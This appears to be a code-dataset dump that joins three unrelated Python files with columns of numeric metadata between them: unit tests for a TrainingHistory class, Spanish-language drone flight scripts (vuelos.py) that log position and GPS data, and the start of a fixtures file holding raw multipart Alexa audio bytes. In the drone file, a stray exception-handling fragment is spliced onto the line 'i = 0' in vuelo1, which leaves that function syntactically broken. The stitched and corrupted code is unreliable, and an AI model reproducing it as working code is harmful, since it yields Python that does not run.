self.assertEqual(th.train_history, th.empty_train_history)
def test_insert_single_result_into_history(self):
th = TrainingHistory()
th.insert_single_result_into_history('loss', 123.4)
self.assertEqual(th.train_history, {'loss': [123.4], 'accumulated_loss': [], 'val_loss': []})
self.assertEqual(th.get_train_history_dict(), {'loss': [123.4], 'accumulated_loss': [], 'val_loss': []})
th.insert_single_result_into_history('loss', 0.443)
self.assertEqual(th.train_history, {'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': []})
self.assertEqual(th.get_train_history_dict(), {'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': []})
th.insert_single_result_into_history('NEW_METRIC', 0.443)
self.assertEqual(th.train_history,
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443]})
self.assertEqual(th.get_train_history_dict(),
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443]})
th.insert_single_result_into_history('NEW_METRIC', 101.2)
self.assertEqual(th.train_history,
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443, 101.2]})
self.assertEqual(th.get_train_history_dict(),
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443, 101.2]})
def test_test_insert_single_result_into_history_epoch_spec(self):
th = TrainingHistory()
th.insert_single_result_into_history('loss', 123.4)
th.insert_single_result_into_history('loss', 1223.4)
th.insert_single_result_into_history('loss', 1224443.4)
self.assertEqual(th.train_history, {'loss': [123.4, 1223.4, 1224443.4], 'accumulated_loss': [], 'val_loss': []})
th.insert_single_result_into_history('accumulated_loss', 1224443.4)
th.insert_single_result_into_history('accumulated_loss', 1224443.4)
self.assertEqual(th.train_history, {'loss': [123.4, 1223.4, 1224443.4],
'accumulated_loss': [1224443.4, 1224443.4], 'val_loss': []})
def test_get_train_history(self):
th = TrainingHistory()
th.insert_single_result_into_history('loss', 123.4)
th.insert_single_result_into_history('loss', 0.443)
th.insert_single_result_into_history('NEW_METRIC', 0.443)
th.insert_single_result_into_history('NEW_METRIC', 101.2)
self.assertEqual(th.train_history,
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443, 101.2]})
self.assertEqual(th.get_train_history(),
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443, 101.2]})
def test_get_train_history_epoch_spec(self):
th = TrainingHistory()
th.insert_single_result_into_history('loss', 123.4)
th.insert_single_result_into_history('loss', 0.443)
th.insert_single_result_into_history('NEW_METRIC', 0.443)
th.insert_single_result_into_history('NEW_METRIC', 101.2)
self.assertEqual(th.train_history,
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443, 101.2]})
self.assertEqual(th.get_train_history(),
{'loss': [123.4, 0.443], 'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [0.443, 101.2]})
def test_get_train_history_dict(self):
th = TrainingHistory()
th.insert_single_result_into_history('loss', 123.4)
th.insert_single_result_into_history('loss', 0.443)
th.insert_single_result_into_history('NEW_METRIC', 0.443)
th.insert_single_result_into_history('NEW_METRIC', 101.2)
self.assertEqual(th.train_history, th.get_train_history_dict())
def test_str(self):
th = self._build_dummy_history()
self.assertEqual(str(th), str(th.train_history))
def test_len(self):
th = self._build_dummy_history()
self.assertEqual(len(th), 4)
self.assertEqual(len(th), len(th.train_history))
def test_getitem(self):
th = self._build_dummy_history()
self.assertEqual(th['NEW_METRIC'], [13323.4, 133323.4])
self.assertEqual(th['loss'], [123.4, 1223.4, 13323.4, 13323.4])
self.assertEqual(th['val_loss'], [])
with self.assertRaises(KeyError):
a = th['missing_metric']
def test_setitem(self):
th = self._build_dummy_history()
th['loss'] = 99999
self.assertEqual(th.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4, 99999],
'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [13323.4, 133323.4]})
th['NEW_METRIC'] = 11111
self.assertEqual(th.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4, 99999],
'accumulated_loss': [], 'val_loss': [], 'NEW_METRIC': [13323.4, 133323.4, 11111]})
th['accumulated_loss'] = 22222
self.assertEqual(th.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4, 99999],
'accumulated_loss': [22222], 'val_loss': [], 'NEW_METRIC': [13323.4, 133323.4, 11111]})
th['CompletelyNewMetric'] = 55544
self.assertEqual(th.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4, 99999],
'accumulated_loss': [22222], 'val_loss': [], 'NEW_METRIC': [13323.4, 133323.4, 11111],
'CompletelyNewMetric': [55544]})
def test_contains(self):
th = self._build_dummy_history()
for k in th.train_history:
self.assertTrue(k in th)
self.assertFalse('missing_metric' in th)
self.assertFalse('for sure missing_metric' in th)
def test_iter(self):
th = self._build_dummy_history()
for i, (k_true, k) in enumerate(zip(th.train_history.keys(), th)):
self.assertEqual(k_true, k)
self.assertEqual(i+1, len(th.train_history))
k_true = [k for k in th.train_history.keys()]
k_th = [k for k in th]
self.assertEqual(k_true, k_th)
def test_keys(self):
th = self._build_dummy_history()
self.assertEqual(th.keys(), th.train_history.keys())
k_true = [k for k in th.train_history.keys()]
k_th = [k for k in th.keys()]
self.assertEqual(k_true, k_th)
def test_items(self):
th = self._build_dummy_history()
self.assertEqual(th.items(), th.train_history.items())
k_true = [(k, v) for k, v in th.train_history.items()]
k_th = [(k, v) for k, v in th.items()]
self.assertEqual(k_true, k_th)
def test__add_methods(self):
th = self._build_dummy_history()
th_added_1 = th + {'ADDITIONAL_metric': 122.3, 'addi': 344}
self.assertEqual(
th_added_1.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4], 'accumulated_loss': [], 'val_loss': [],
'NEW_METRIC': [13323.4, 133323.4], 'ADDITIONAL_metric': [122.3], 'addi': [344]}
)
th_added_2 = {'ADDITIONAL_metric': 13322.3, 'addi': 1001010} + th
self.assertEqual(
th_added_2.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4], 'accumulated_loss': [], 'val_loss': [],
'NEW_METRIC': [13323.4, 133323.4], 'ADDITIONAL_metric': [13322.3], 'addi': [1001010]}
)
th_added_pre_post = th_added_2 + {'ADDITIONAL_metric': 11.3, 'addi': 1}
self.assertEqual(
th_added_pre_post.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4], 'accumulated_loss': [], 'val_loss': [],
'NEW_METRIC': [13323.4, 133323.4], 'ADDITIONAL_metric': [13322.3, 11.3], 'addi': [1001010, 1]}
)
th += {'ADDITIONAL_metric': 122.3, 'addi': 344}
self.assertEqual(
th.train_history,
{'loss': [123.4, 1223.4, 13323.4, 13323.4], 'accumulated_loss': [], 'val_loss': [],
'NEW_METRIC': [13323.4, 133323.4], 'ADDITIONAL_metric': [122.3], 'addi': [344]}
)
@staticmethod
def _build_dummy_history():
th = TrainingHistory()
th.insert_single_result_into_history('loss', 123.4)
th.insert_single_result_into_history('loss', 1223.4)
th.insert_single_result_into_history('loss', 13323.4)
th.insert_single_result_into_history('NEW_METRIC', 13323.4)
th.insert_single_result_into_history('NEW_METRIC', 133323.4)
th.insert_single_result_into_history('loss', 13323.4)
return th
| 50.426829
| 120
| 0.612253
| 1,470
| 12,405
| 4.9
| 0.098639
| 0.079967
| 0.080244
| 0.088574
| 0.839928
| 0.811051
| 0.784395
| 0.758295
| 0.72803
| 0.693878
| 0
| 0.218526
| 0.246352
| 12,405
| 245
| 121
| 50.632653
| 0.551931
| 0
| 0
| 0.535354
| 0
| 0
| 0.112616
| 0
| 0
| 0
| 0
| 0
| 0.252525
| 1
| 0.090909
| false
| 0
| 0.010101
| 0
| 0.116162
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
eb646ee88769da184a12410bb3abcba93e86dacb
| 7,006
|
py
|
Python
|
vuelos.py
|
wirms/katarina-remastered-electric-boogaloo
|
e5aafa6d1849b4643681bc181c662eb9aed190b8
|
[
"MIT"
] | null | null | null |
vuelos.py
|
wirms/katarina-remastered-electric-boogaloo
|
e5aafa6d1849b4643681bc181c662eb9aed190b8
|
[
"MIT"
] | null | null | null |
vuelos.py
|
wirms/katarina-remastered-electric-boogaloo
|
e5aafa6d1849b4643681bc181c662eb9aed190b8
|
[
"MIT"
] | null | null | null |
import datetime
import commands as cm
import time
def vuelo1(drone):
filename = datetime.datetime.now().strftime("Vuelo_recto_%y%m%d_%H%M%S.txt")
f = open(filename, "wb")
f.write("Vuelo tipo vuelo1, linea recta \n")
drone.takeoff()
i = 0except (KeyboardInterrupt, SystemExit):
self.drone.update(cmd = commands.movePCMDCmd(True,0,0,0,0))
if self.falso:
self.drone.speed = [0, 0, 0]
self.land()
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1.0, 0.0, 0.0, 0.0) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
print ("Fin de movimiento")
def vuelo1b(drone):
drone.takeoff()
time.sleep(1)
drone.update( cmd=cm.movePCMDCmd(True, 20.0, 0.0, 0.0, 0.0) )
try:
time.sleep(5)
except (KeyboardInterrupt, SystemExit):
drone.update(cmd = cm.movePCMDCmd(True,0,0,0,0))
drone.land()
drone.land()
def vuelo2(drone):
filename = datetime.datetime.now().strftime("Vuelo_recto_giro_%y%m%d_%H%M%S.txt")
f = open(filename, "wb")
f.write("Vuelo tipo vuelo2, linea recta + giro \n")
drone.takeoff()
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 0, 1, 0.785398) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
print ("Fin de movimiento")
drone.land()
def vuelo3(drone):
filename = datetime.datetime.now().strftime("Vuelo_recto_giro_recto_%y%m%d_%H%M%S.txt")
f = open(filename, "wb")
f.write("Vuelo tipo vuelo3, linea recta + giro + linea recta\n")
drone.takeoff()
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 0, 1, 0.78539) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 0, 1, 0) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
print ("Fin de movimiento")
drone.land()
def vuelo4(drone):
filename = datetime.datetime.now().strftime("Vuelo_recto_giro_recto2_%y%m%d_%H%M%S.txt")
f = open(filename, "wb")
f.write("Vuelo tipo vuelo4, linea recta + giro + linea recta\n")
drone.takeoff()
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 0, 1, 0.78539) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 1, 1, 0.78539) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
print ("Fin de movimiento")
drone.land()
def vuelo5(drone):
filename = datetime.datetime.now().strftime("Vuelo_cuadrado_%y%m%d_%H%M%S.txt")
f = open(filename, "wb")
f.write("Vuelo tipo vuelo5, cuadrado 1x1\n")
drone.takeoff()
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 0, 1, 0) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(1, 1, 1, 0) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(0, 1, 1, 0) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
i = 0
for i in xrange(0,50):
print i, " ", "hover"
print("Movimiento")
drone.update( cmd=cm.moverACmd(0, 0, 1, 0) ) #x, y, z, azimuth
for i in xrange(0,100):
f.write("Tiempo " + str(drone.time)+ "\n")
f.write("Posicion " + str(drone.position) + "\n")
f.write("Velocidad " + str(drone.speed) + "\n")
f.write("GPS " + str(drone.positionGPS) + "\n")
f.write("Altitud " + str(drone.altitude) + "\n")
f.write("Actitud " + str(drone.attitude) + "\n")
print ("Fin de movimiento")
drone.land()
class Dronefalso():
def __init__(self):
self.position=(0,0,0)
self.speed= (0,0,0)
self.attitude = (0,0,0)
self.positionGPS=(0,0,0)
self.altitude = 0
self.flyingState=0
self.battery = 0
self.time = 0
def takeoff(self):
return
def land(self):
return
def update(self, asd):
return
def flyToAltitude(self, h):
return
def requestAllStates(self):
return
| 32.285714
| 89
| 0.596917
| 1,077
| 7,006
| 3.860724
| 0.087279
| 0.093795
| 0.084175
| 0.05772
| 0.86075
| 0.854978
| 0.828764
| 0.815055
| 0.804233
| 0.765272
| 0
| 0.034873
| 0.193691
| 7,006
| 216
| 90
| 32.435185
| 0.701186
| 0.022838
| 0
| 0.732984
| 0
| 0
| 0.2067
| 0.025746
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.015707
| null | null | 0.13089
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
eb650c9ab6e8cd62821f65087a44fcb6d3ad153d
| 52,594
|
py
|
Python
|
tests/avs_client/fixtures.py
|
CuidaHealth/alexa-voice-service-client
|
3b189b7039997251196956f13e365a4b83c36622
|
[
"MIT"
] | 1
|
2019-01-16T01:38:40.000Z
|
2019-01-16T01:38:40.000Z
|
tests/avs_client/fixtures.py
|
CuidaHealth/alexa-voice-service-client
|
3b189b7039997251196956f13e365a4b83c36622
|
[
"MIT"
] | null | null | null |
tests/avs_client/fixtures.py
|
CuidaHealth/alexa-voice-service-client
|
3b189b7039997251196956f13e365a4b83c36622
|
[
"MIT"
] | 2
|
2018-07-12T19:56:42.000Z
|
2018-07-20T23:56:35.000Z
|
# noqa
audio_response_multipart = b'--22b41228-f803-447b-9cde-f99d0a1652b1\r\nContent-Type: application/json; charset=UTF-8\r\n\r\n{"directive":{"header":{"namespace":"SpeechSynthesizer","name":"Speak","messageId":"3009890b-a556-48bd-87f6-cae9476f3cd8","dialogRequestId":"f3bd01b3-fb8b-4468-ba30-32bad766b3e6"},"payload":{"url":"cid:DeviceTTSRenderer_bf8529e6-0708-4ac3-93a0-e57b0aff5ef4_1934409815","format":"AUDIO_MPEG","token":"amzn1.as-ct.v1.Domain:Application:Notifications#ACRI#DeviceTTSRenderer_bf8529e6-0708-4ac3-93a0-e57b0aff5ef4"}}}\r\n--22b41228-f803-447b-9cde-f99d0a1652b1\r\nContent-ID: <DeviceTTSRenderer_bf8529e6-0708-4ac3-93a0-e57b0aff5ef4_1934409815>\r\nContent-Type: application/octet-stream\r\n\r\nID3\x04\x00\x00\x00\x00\x00#TSSE\x00\x00\x00\x0f\x00\x00\x03Lavf57.71.100\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xf3d\xc4\x00\x1cK\x15\xe4\x01C\x18\x01\x00\x11@\xc0\xc0\xc0\xdd\xd1\x0b\xff\xfe"!n\x88\x88\x88\x85\xff\xff\xee\xe7\xc4\x08\x00\x00\x06-\xcf\xffO\xdd\xdc\xf7s\xff\xa6\x88\x88\x9f\xff}\x11\x13\xdd\xdd\xdd\xdd\x11\x11\x13\xdd\x11\x0b\xff\xffww?\xff\xf7DD/\xdd\x11\x11\x11\x11\x1d\xdd\xdd\xdd\xdd\x11\x11\x11\x13\xff\xff\xf4D\x08\x00\x00#\x00\x00\x00\x0e\x80\x00\x00\x19\x10\x03\xff0\x00\x03?\xf3\x1f\xfd\x003\xcf\xff\xc0\x03\xff\xc0\x04*\x16\n\xc5\xa2\xd1h\xa8T+\x15\x8b\x05\x82\xbf\xe6F2\xff\xf3d\xc4\x11\x1fJb\xd6_\x89X\x027\xf9\xb0LDK\xf8&l\x0b$\xfc\x98\xc6\x02i\xc2_\xfb\xee\xd8\x94\xc2\xbf\xfb\x0e\x1b\x82Xo\xbe\x15*\xff\xf0\x0f\\w\x80\xc0 \x03\x83\xd2\xb3J\x89?\xff\x8e\xc5`\xbc\xdc\xddb\xd5\x0fZ\xa8O\xff\xfe\x810\xdcw\x9f\x83\x99\xc7\'\xd1\xe8\x95\xab\xff\xff\xfd\x03\x8f\x7f\x0c\xff\xdc\xac\xbb\x84\xce?\xff\xeb5\xf9[\x95\xff\xcb\x9frr\x87\x0f\xc3\xebf\xfe\x94U\xb1\x18\xa4\xb4\x9aKm\xbd\xcf\xa7\xa1\x92GF)\xa3\xa9L\xd7\xe3\xd1\x15\xff\xf3d\xc4\x16"\x9c\x06\xd2O\xd88\x01/\x81\xdc\x08\xa6X\xceJ\xf0\xad,\xc7\x0bu\t\x8d\xdc\xa0,\x12D\xb1Aa\x1c^A\'\x9e7<\xc3\xdea\x86\t\x06\td\xcd(4d \xa60\xac\x98\x8e\x01\xe2p\x9cp\xb8\xac\xbd\x0b?\xf3\xf7\x7f\xff\xff\xf9\x973\xee{\xb6\xdf\xdd\xa67O\xff\xff\xff\xf4\xab\xcc\x98i\x8cu\xbd~\x87\xa9\x869\xa7\xa1\xe62\xa1\x93_\x9a\x97\xa2\xbbw\xa5wK#f\x1aH\xa9\xe3`\x08x\x1b* \x05]\x89\x80\x1c\x9d\xc7\xdd\xd2\xd9Nt\xcd\xff\xf3d\xc4\x0e\x1f\xc2J\xd6^\xc2F\xbc\xe4\xd4\xa8\x18\x87\xda\\\xe5?\xca\xfdMe\x90\xf0>\x18\xad*\xf4\x13\xf4\xb2\xc8\x91"\x97\xfe1\x8dm2\x86y7\xe54pu\x12!R\x05c)7\x97\x15\x89\x0e\xb2E\xb3\x8c|\xff\xfd\x0f\xe0\xee\xb1a\xb7\x0e\x90U_T#~\x19\xd2\x86\xd7/U*jE?\xff\xb8AL\x07\x08\x9a\x1d\xff\xfdH`XY&\xf6\xe7\x90\xd1!\xd1"\xa5\x9ckwd\xf3S\xb0\x93\x84\x0b\x00\x03\x9e\x80\x1b\x80\xfb\xb4\xb3\x06\x07\xa9\xb1-\xd8$\x10H\xff\xf3d\xc4\x12 9\x8e\xba4\xca\xc4\xd8\xe8Y~\x8a2\xe357\xfaa\xe3Z\xb8\xec\xd0y!\x7f\x1eL\xab\x94V\xfc\xd6\xbfo\xf5\x08\x9f\x11\x05\xa3I\xc7A9\xf3F$*\xb5O&\xb1\x85d\x014\xd6\xa5\xb5\xfb~\x8cVd\xcd\x14\xe2a\x11\x8f\xc0\xa1\'\x86\xab\r\xd3\xe8\x95.\xa6\xac!\x0f\x88\x010!\xc3\x92\x1f\xa9\xe2Y\xcd\r?\xb1\xa1r)EF\x8f\xd5n\x08%fV\x17\x0e\xa1+,P`!\r@\x18}H`\n\x83|\x8b\xa6\xd0_p$]v\x0br\xb5\xff\xf3d\xc4\x14\x1e\xc4"\xa0kX\x10\x01\x1e3\x99\xee#!\xb5\xf3V\xa9y\xa0A\xc4\x06\x9cIJ\xc1t;kC\n\n&\xebE)\x81\x0e\xee\x86z\x19\xe6\xfe\x85\xfd\x0c\xa5\xd1\xe8\xa6\xca\xac\xb3tV2\x97\xfe\xa5\xff\xff\xca_\xcc\xffW*\xd1\x0co\xff\xd0\xda\x9a\x86\xf51\x94\xa5)KR\x95\xbe\xac\xa5+\x19\xd0\xa5,\xcfC!\x8cmK\xa8\x08\x92\xcceR\xf9J\xd2\x89u\xe5\x9b\xaf\x9ai&\xe4q\xc8\xdb\x89 \x1d\x05\x14\x98\xc6<\xe1\x01j7\x96\xee\xa7\x9d\xb5\xba\xba\xff\xf3d\xc4\x1c"\x8b2\x9d\xbd\x98P\x02\xe1\x0e53\xff(\x0b\xe3\xc5f\xc1\xa8\x10\x05u\xbe\xf8\xd0\x9c\xc7q\xf2!F4\xea\x85\xe1\x18\x10\x04\xb0V`\x8eJa!d|\xe4\x02\x98T\x02\xa0\\\x0b!~a\xa8\x8c\xaea\xc7\xa9\xc7FdF\x05\xe0\xf4n7\xb2\xba2/\xed\xcc4\xc3\xe7\x9ey\xfe\xde\xf5\xff\xf5s35J\x7f_\xff\xff\xf6>a\x93\xcf#&\x1e\x100\xb6BO\xff\xff\xfc\xban\xa6\xe5*\xd6{>\x9e\xdfg\x93\xe7\xeb\xd6f!\x10\x03\x8dc\x8c\x90K\x04\xff\xf3d\xc4\x14"T*\xfa_\x86@\x03\xa4\xc23D\xda\x87\x97wnAa#\xbcNqlx\xd1\xe6P\xc6\x87R\x0c3H\x13\x0e\xc5O\xe2\xf8:\x91"\x99;M\x0f\x87\x8d\x16\xfa\x8a\xb4\xa8V\xe3\xd2\xba\xae\xd3\xb9C\xe7(}_\xcd7\x1aS\xf5q\xe9\xff\xdf\xf3\xa7\xff\xff\xff\xff]\xff7\x8a/\xff\xff\xf5?\xff\xcf\x1f\xf3q\xe7\xf3b\x8a\xe8\x94(\xff\xf0eW\xff\xf3\xd4\x7f\xa4U\xf5\xf7\x1f2\x9dS\xb8\xfb[\x172C\x03\xea\xaa\xba\xb9\x98jm\xaf\x02\x90v\xabz\x16\xff\xf3d\xc4\r\x1c|.\xfb\x1f\xc38\x01Up\x86\xc7J\x1cR\xfc\x1d\xf5\xb1\xedJg:6\xf7\xcf:\xfd=~\xdf\xf6\xa2\xeb\xbfE\xff\xff\xff\xff\xff\xeca\xdf\xad\x0ee9fe4\x1a\x8f\xa3\x1f2\xfc\xf37o\xcez\x98\xea=\xed\xa1U\x97\xfe8\x97(\'\x1eSG\xc6\x81p\x8c\x90\x88L\x8b\r\x84\x91q\xa6\x1cL\x89\x95\x1c\x91,\xe6\xb9\xc8ni\xd6<\xd6S\x07\xce!y\x98h\x87f[m\xb1\x90*\xf4\xc3b\xe2\x81\\\xd7\x0f\x1b\xa9v\x9c\xceZ,\x89hA\x16\xcf\xff\xf3d\xc4\x1e\x1c\x13\x93\x07\x1eH\xca\xfeW>\x1db2]\x1c\xfb\x1f\x15<\xe3p\xecCM\xdaH\xe9L\x8d\x821\x12aN\xf4\xe7,\xbc\x97\'O\xd9\x1c\xbf\xffW\x9bf\xfbv\xa5>\x9c\x83\xd5RFGjt\xe9\xbdZ\xed\xd8\xff\xf4\xb7\xa5+n\xad$\xec\xc2`\xe1\xc7\x11\x82\x81C\xc5\x12\xbb\x9e\x9b"\x93zUy\x88\x88\x86\x87[\xae\xd5\xa0s4\xda\x04\xc6\x84\xa2F\xd8\xb5\x11\xe3$\xd9k\xa9l\xf5\xa6\xab\xb5)4\x15@Z\x93ykT\x9b\xb9q\x85RG\x98\n\x85\xff\xf3d\xc40\x1c\xb1j\xfb\x1e\nF\x1eTmb\x97\xd2\xe0a,\xc7\x96\xa0!RX\x98:\x86\x9e\x10\x83*\x06\xe9\xb1\x88\x9d"!"\xef\xd94\n\xe5\x9axB\xa2\xa7`\xadG\x8a\x82\xa6QW\xfdC\xdc\xb7bR\xae\x11\x03C\x8b\x1a\x12\x8cr\xc3A\xdc\xe8ur\xedv\xdb[d\xf1c+\xfeZ\xe0\x18\x90\xd6I4\xee\xd5[\xd9-4\xf4F\x81\n*\x1b\nW\n\\\xa5 \xe1\x80\x8c\xa8\xe0,\xb3)J\x87-\x0ci\x95\x9c\x04\xecb\x95\x94\xa5\xe5/J\x95\xaa\xdfV\xe6\xff\xf3d\xc4@\x1d\x03\xf2\xb6]I\x10\x02\xbb%\xbc\xcf)s7\xae\x85nT1\xaa_c\x14\xaaV4\xc6/\xff\xff\xff\xf6C*\xa1\x94L\xa8\xaa\xdf\xf5\xcaR\xb1\xb5(\x96Cy\x9d\xa6\xa3\xf3\x18\t\xd7\\v"\x00 \x84\x05u\x12\x84\xb0H\xd3\xe9\xb2\x93j\xc4\xba\xd1,\x1b\x95\xc6\xb6^&Y\xaa\x92E\'C\xfeh\x81\xa1jn\xd7[2\xd2\t\xe0\xda\x1d\xc2vq-Jb\x91\x81|y\x1b(\x0fAh`\x173r\xe3i\xa6\\Lz\x9a\x97\n#\xd8\x91\'\x0f3t\xff\xf3d\xc4O0\x84:i\x9b\x8fh\x00\xc4\xbc\xa7R\xcd\xd5G\xcb\xa3\xf2\x06\x06\xc8\x17\xe7\xc7\xf1\x83D\xbcJ\x0f2@\xb8\t\xc6\xb4u~\xa6\xbb\xa9\x94\xba!\xc0=\xc3pI\x01\xb0\x0f\xe5\x01\xeej=\x13\x04-O\xff]z\xa8-kG\xf5\xe3\x9c\x16\xf0\xc8pr\x05\x98r\x06\xc1$\x02\x88<\x079&&l\\R\xdbR\x99\xd7\xa9n\xea\xae\xf5--j\xf7\xa4\xbf\xe5\xc1\xce^(\x1b\xea\x8fA\x97\xd4\x89\x99\xbdi\x9f\xff\xfb}\x9fOo\xcfk\xa8\xd0Vj\x1a\x0c\x9a0\xff\xf3d\xc4\x10 \xc3\xbb"_\x89(\x03\x16&&$#$P\x86\x18\x82hb\x1c\x0e\n\x02\x88\x06"\x18]\xe7\x0f\x87\xdc\x88\x82\xd3\x9c8(\xcc\x83\x03\xa4\xd2\xce\x8c.w\x00\x87\x03\x9c48&S\xa0\xb3\x90\x8d\xcequ\x1cG\x14\xfe\xf6wB\x10^}\xca\x1f"\x7f\xce\xe4\xb7\xdbG!\xdaC\xce\x7f\xd2\xf5\xa5\xb7F\xbb\x13=\x19y\xdeJ\xbd\xd3\xff\xfc\x88B?\xfb\xa4\x8de\x8e\x14\x139\x08C\xa9\xc3\x82\x82[s\x95\xaca\xf4\xc0\x0c\xf3d\x009\t\xb1\xc1\xf9\xe2\xcd\xa3\xff\xf3d\xc4\x10\x1ca\x1a\xd1\x93\xccH\x00\xeb\xfe\xafd\xbfD\x8eoY\xfd|K\x12\xd8O!\xf7+;k1\x95\x99q\x15\xb6(:n\x12\\O\xe9\x89\xe4\xdeLD\x11\x0e\x84\\\xe9pp\x93\t\x05\xc9\xbc\x99p\xe6\x00\xaa-\xf3\xb5\x07\x81P\xd0PE\x93-Pz\r)\xffY\xd8vtY\xf5\xb9A\xd1\rn\xa6%\xa2K$\xfc\xb0\xfb\x89\\\x10\x13\xa1Oy\xf5@C\x18\x1b\x03Y\xe5\xbc2\x10\xc6KI7\x01\xa3\xdc^sq\x05\xe8\xbde\x94\x06\x0c\x90 